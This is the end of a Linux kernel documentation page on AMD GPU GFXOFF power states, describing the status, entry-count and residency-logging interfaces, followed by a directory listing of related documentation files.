</div>
<ul class="simple">
<li><p>0: GPU is in GFXOFF state, the gfx engine is powered down.</p></li>
<li><p>1: Transition out of GFXOFF state</p></li>
<li><p>2: Not in GFXOFF state</p></li>
<li><p>3: Transition into GFXOFF state</p></li>
</ul>
<p>If GFXOFF is enabled, the value will be transitioning around [0, 3], always
getting into 0 when possible. When it’s disabled, it’s always at 2. Returns
<code class="docutils literal notranslate"><span class="pre">-EINVAL</span></code> if it’s not supported.</p>
</section>
<section id="amdgpu-gfxoff-count">
<h3><code class="docutils literal notranslate"><span class="pre">amdgpu_gfxoff_count</span></code><a class="headerlink" href="#amdgpu-gfxoff-count" title="Link to this heading">¶</a></h3>
<p>Read it to get the total GFXOFF entry count at the time of query since system
power-up. The value is an <cite>uint64_t</cite> type, however, due to firmware limitations,
it can currently overflow as an <cite>uint32_t</cite>. <em>Only supported in vangogh</em></p>
</section>
<section id="amdgpu-gfxoff-residency">
<h3><code class="docutils literal notranslate"><span class="pre">amdgpu_gfxoff_residency</span></code><a class="headerlink" href="#amdgpu-gfxoff-residency" title="Link to this heading">¶</a></h3>
<p>Write 1 to amdgpu_gfxoff_residency to start logging, and 0 to stop. Read it to
get average GFXOFF residency % multiplied by 100 during the last logging
interval. E.g. a value of 7854 means 78.54% of the time in the last logging
interval the GPU was in GFXOFF mode. <em>Only supported in vangogh</em></p>
</section>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/gpu/amdgpu/thermal.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
display Folder 0755
gc Folder 0755
amd-hardware-list-info.html File 21.14 KB 0644
amdgpu-glossary.html File 19.18 KB 0644
debugfs.html File 18.18 KB 0644
debugging.html File 12.89 KB 0644
driver-core.html File 295.12 KB 0644
driver-misc.html File 16.28 KB 0644
flashing.html File 10.27 KB 0644
index.html File 33.03 KB 0644
module-parameters.html File 30.11 KB 0644
process-isolation.html File 13.36 KB 0644
ras.html File 17.38 KB 0644
thermal.html File 36.05 KB 0644
userq.html File 20.62 KB 0644
xgmi.html File 9.11 KB 0644
Filemanager